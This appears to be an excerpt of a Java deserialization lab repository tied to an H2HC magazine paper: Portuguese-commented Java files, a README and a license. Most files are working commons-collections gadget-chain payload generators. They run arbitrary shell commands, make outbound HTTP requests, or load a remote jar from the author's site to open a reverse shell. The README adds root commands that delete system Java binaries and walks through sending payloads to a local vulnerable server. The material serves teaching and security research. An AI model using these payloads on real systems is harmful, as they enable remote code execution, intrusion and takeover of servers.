* para destacar os magic methods readObject (invocado automaticamente durante
* a desserializacao de objetos deste tipo) e writeObject (invocado durante a
* serializacao)
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* @author @joaomatosf
*/
class Alien implements java.io.Serializable {
String name;
String source;
// magic method invocado automaticamente durante a desserializacao
// de objetos deste tipo
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("Deserializing an object of class: "+ getClass().getName());
}
// magic method invocado automaticamente durante a serializacao
// de objetos deste tipo
private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
out.defaultWriteObject();
System.out.println("Serializing an object of class: "+ getClass().getName());
}
}

View File

@ -0,0 +1,103 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
/**
* Gera payload com gadget chain para realizar um HTTP GET em um endereço
* controlado pelo testador. Se for usado um domínio "hospedado" pelo testador,
* pode-se validar se o payload foi executado ao verificar os logs do servico DNS.
* Note que esse payload requer que a commons-collections vulnerável esteja
* disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72
* outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma
* consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves).
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com
*
* @author @joaomatosf
*/
public class DnsWithCommonsCollections {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
String url = args[0];
// Cria array de transformers que resulta na seguinte construção:
// new URL(url).openConnection().getInputStream().read();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(new URL(url)),
new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
new InvokerTransformer("read", new Class[] {}, new Object[] {})
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//criado a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in SleepExample.ser");
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}

View File

@ -0,0 +1,129 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.*;
/**
* Gera payload que leva a execução de código durante a desserialização.
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
* do JRE, como trigger gadget.
* Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
* deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
* deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
* ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
*
* -----------------------------------------------------------------------
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* * https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
*
* @author @joaomatosf
*/
public class ExampleCommonsCollections1 {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1) {
System.out.println("Invalid params! \n" +
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
System.exit(1);
}
// Seleciona o interpretador correto de acordo com o comando a ser executado
//boolean isUnix = System.getProperty("file.separator").equals("/");
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
String cmd[];
if (isUnix)
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
else
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
// Cria array de transformers que resulta na seguinte construção:
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
Transformer[] transformers = new Transformer[] {
// retorna Class Runtime.class
new ConstantTransformer(Runtime.class),
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
),
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
),
// 3o. Objeto InvokerTransformer: .exec(cmd[])
new InvokerTransformer(
"exec", // invoca método: exec
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
new Object[]{ cmd } ) // parâmetros: (cmd[])
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//cria a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}

View File

@ -0,0 +1,79 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.reflect.InvocationTargetException;
import java.util.*;
/**
* Exemplo que demonstra que um Map decorado com um LazyMap e uma ChainedTransformer
* como factory pode levar a execução de comando (através da invocação a métodos arbitrários
* via Reflexão) caso seja acessada uma chave inexistente no map.
* Esse é um dos princípios usados para executar comandos usufruíndo de gadgets que tentam
* acessar chaves inexistentes em campos (controlados pelos usuários) em seus magic methods.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap.java
*
* Executando
* $ rm /tmp/h2hc_lazymap
* $ java -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap
* $ ls -all /tmp/h2hc_lazymap
*
* @author @joaomatosf
*/
public class ExampleTransformersWithLazyMap {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException {
String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado
Transformer[] transformers = new Transformer[] {
// retorna Class Runtime.class
new ConstantTransformer(Runtime.class),
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
),
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
),
// 3o. Objeto InvokerTransformer: .exec(cmd[])
new InvokerTransformer(
"exec", // invoca método: exec
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
new Object[]{ cmd } ) // parâmetros: (cmd[])
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)
}
}

View File

@ -0,0 +1,72 @@
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;
/**
* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
* o fluxo de execução durante a desserialização.
* Esse código gera um payload para explorar um sistema hipotético que contenha
* as classes ForgottenClass e SomeInvocationHandler no classpatch.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
*
* Executando
* $ rm /tmp/h2hc_2017
* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
* $ ls -all /tmp/h2hc_2017
*
*
* @author @joaomatosf
*/
public class ExploitGadgetExample1{
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
IOException, ClassNotFoundException {
// Instancia um SomeInvocationHandler
InvocationHandler handler = new SomeInvocationHandler();
Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"
// criar interface Map
Class[] interfaceMap = new Class[] {java.util.Map.class};
// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);
// Intancia ForgottenClass (que sera' serializado)
ForgottenClass gadget = new ForgottenClass();
Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
field.setAccessible(true); // torna o campo "map" acessível
field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"
// Serializa objeto do ForgottenClass e salva no disco
System.out.println("Serializing ForgottenClass");
FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(gadget);
oos.flush();
// Desserializa objeto a partir do arquivo, para simular o que devera
// ocorrer quando o objeto for desserializado por uma aplicacao
System.out.println("Deserializing ForgottenClass");
FileInputStream fis = new FileInputStream("/tmp/object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject(); // <-- Inicia a desserializacao!
} //end main
}

View File

@ -0,0 +1,46 @@
import java.io.IOException;
import java.io.Serializable;
import java.util.Map;
/**
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
* Esse gatget invoca um método de um campo (map.entrySet()) e, por isso,
* pode ser usado como trampolim para o método invoke() de classes que implementem
* InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe
* SomeInvocationHandler, que contém um código que se deseja alcançar.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* @author @joaomatosf
*/
public class ForgottenClass implements Serializable {
private Map map;
// magic method executado automaticamente durante a desserializacao
// de objetos deste tipo. Repare que é acessado um método de um camop
// controlado pelos usuários (map.entrySet())
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException{
in.defaultReadObject();
System.out.println("-------------------------------------------");
System.out.println("The flow is in ForgottenClass.readObject()");
map.entrySet();
}
// outro magic method invocado automaticamente durante a desserialização
private Object readResolve(){
System.out.println("-------------------------------------------");
System.out.println("The flow is in the ForgottenClass.readResolve()");
return null;
}
// método qualquer, que não é invocado durante a desserialização.
private void anotherMethod(){
System.out.println("The flow is in ForgottenClass.anotherMethod()");
}
}

View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2017 João F M Figueiredo
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,143 @@
# Lab for Java Deserialization Vulnerabilities
This content is related to the paper written for the 12th edition of H2HC magazine.
See full paper in: https://www.h2hc.com.br/revista/
Slides and video of the talk will be available soon.
>Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
>An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)
Content
--
The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them.
The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.
There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.
Slides
--
[![Alt text](https://image.slidesharecdn.com/h2hc2017joaomatosfjavadeser-171025200215/95/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017-1-638.jpg?cb=1508963584)](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)
Examples (PoC's)
------
* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)
[![Alt text](https://img.youtube.com/vi/jVMr4eeJ2Po/0.jpg)](https://www.youtube.com/watch?v=jVMr4eeJ2Po)
* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)
[![Alt text](https://img.youtube.com/vi/JIWMItSA8l0/0.jpg)](https://www.youtube.com/watch?v=JIWMItSA8l0)
* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell
[![Alt text](https://img.youtube.com/vi/IrZOlqio0nw/0.jpg)](https://www.youtube.com/watch?v=IrZOlqio0nw)
Lab Usage Examples
--
First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.
***Getting JDK***
If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
As **root**, run:
```
# cd /opt
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
# tar zxvf jdk-8u20-linux-x64.tar.gz
# rm -rf /usr/bin/java*
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
# java -version
java version "1.8.0_20"
```
***Getting codes:***
```
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
$ cd JavaDeserH2HC
```
***Compiling and executing Vulnerable Web Application:***
```
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
```
```
* =============================================================== *
* Simple Java HTTP Server for Deserialization Lab v0.01 *
* https://github.com/joaomatosf/JavaDeserH2HC *
* =============================================================== *
You can inject java serialized objects in the following formats:
1) Binary in HTTP POST (ie \xAC\xED). Ex:
$ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
$ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
$ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
3) Base64 or Gzip+Base64 in cookies. Ex:
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
$ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
5) XML for XStream RCE vulnerability/serialization. Ex:
$ curl 127.0.0.1:8000 -d @file.xml
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
==================================================================
JRE Version: 1.8.0_77
[INFO]: Listening on port 8000
```
***Testing payloads***
Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:
```
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
```
Generating payload:
```
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
Saving serialized object in ExampleCommonsCollections1.ser
```
Exploiting vulnerable server:
Sending the payload in binary format via HTTP POST:
```
$ rm -rf /tmp/h2hc_2017
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
```
Sending the payload in Gzip+Base64 format via HTTP Cookies:
```
$ rm -rf /tmp/h2hc_2017
$ gzip ExampleCommonsCollections1.ser
$ base64 -w0 ExampleCommonsCollections1.ser.gz
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
```

View File

@ -0,0 +1,143 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gera payload com gadget chain para carregar e executar uma classe remota
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
* de um LazyMap decorado com a ChainedTransformers.
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
*
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos.
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
*
* @author @joaomatosf
*/
public class ReverseShellCommonsCollectionsHashMap {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
String host = null;
int port = 1331;
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1 || args[0].split(":").length != 2 ) {
System.out.println("Invalid params! \n" +
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
System.exit(1);
}
host = args[0].split(":")[0];
port = Integer.parseInt(args[0].split(":")[1]);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{
URL[].class
},
new Object[]{
new URL[]{new URL(remoteJar)}
}),
new InvokerTransformer("loadClass",
new Class[]{
String.class
},
new Object[]{
"JexReverse"
}),
new InstantiateTransformer(
new Class[]{ String.class, int.class },
new Object[]{ host, port }
)
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map1 = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map1,transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
// Serializa o objeto
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
}
}

View File

@ -0,0 +1,105 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.*;
/**
* Gera payload com gadget chain para forçar um Sleep na aplicação.
* Note que esse payload requer que a commons-collections vulnerável esteja
* disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
* JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
* (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
